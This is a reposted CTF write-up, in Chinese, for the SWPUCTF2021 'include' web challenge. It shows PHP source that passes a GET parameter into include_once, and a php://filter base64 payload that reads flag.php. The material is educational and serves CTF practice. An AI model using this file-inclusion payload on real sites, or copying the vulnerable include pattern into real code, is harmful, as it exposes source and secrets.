WriteUp|NSSCTF每日一练SWPUCTF2021include–web

admin 2026-03-05 19:23:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细记录了SWPUCTF2021新生赛Web题的解题过程。通过分析PHP源码发现文件包含漏洞,利用php://filter伪协议结合Base64编码读取flag.php文件内容,最终成功获取Flag。文章结构清晰,Payload具体有效,是学习PHP伪协议与文件包含利用的典型实战案例。 综合评分: 80 文章分类: CTF,WEB安全,漏洞POC


cover_image

WriteUp | NSSCTF每日一练 SWPUCTF2021 include–web

凌日网络与信息安全团队

2026年3月5日 12:00 重庆

免责声明:本文章发布于比赛正式结束后,不存在提前泄露比赛信息及违规泄露wp的情况,作者不对读者基于本文内容而产生的任何行为或后果承担责任。如有任何侵权问题,请联系作者删除。

这道题是出自SWPUCTF2021的新生赛。

题目打开给了一个你能上传文件吗?

那么直接在url栏尝试get传参(直接在url后面加?file)

那么就可以看到php的源码

1. <?php
2. ini_set("allow_url_include","on");
3. header("Content-type: text/html; charset=utf-8");
4. error_reporting(0);
5. $file=$_GET['file'];
6. if(isset($file)){
7. show_source(__FILE__);
8. echo&nbsp;'flag 在flag.php中';
9. }else{
10. echo&nbsp;"传入一个file试试";
11. }
12. echo&nbsp;"</br>";
13. echo&nbsp;"</br>";
14. echo&nbsp;"</br>";
15. echo&nbsp;"</br>";
16. echo&nbsp;"</br>";
17. include_once($file);
18. ?>&nbsp;flag 在flag.php中

可以看到有个ini_set 设置了参数为on;可以用php伪协议filter进行文件读取。直接读取flag所在的目录也就是flag.php。那么payload就是:URL+/?file=php://filter/read=convert.base64-encode/resource=flag.php;然后得到了

PD9waHANCiRmbGFnPSdOU1NDVEZ7MGFiZTg3MTQtYThiOS00ZGYyLWIzZGMtYWY0MzE3NTM2NzJifSc7。一眼base64,直接cyberchef解。

免责声明:本文章发布于比赛正式结束后,不存在提前泄露比赛信息及违规泄露wp的情况,作者不对读者基于本文内容而产生的任何行为或后果承担责任。如有任何侵权问题,请联系作者删除。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:凌日网络与信息安全团队 《WriteUp | NSSCTF每日一练 SWPUCTF2021 include–web》

评论:0   参与:  0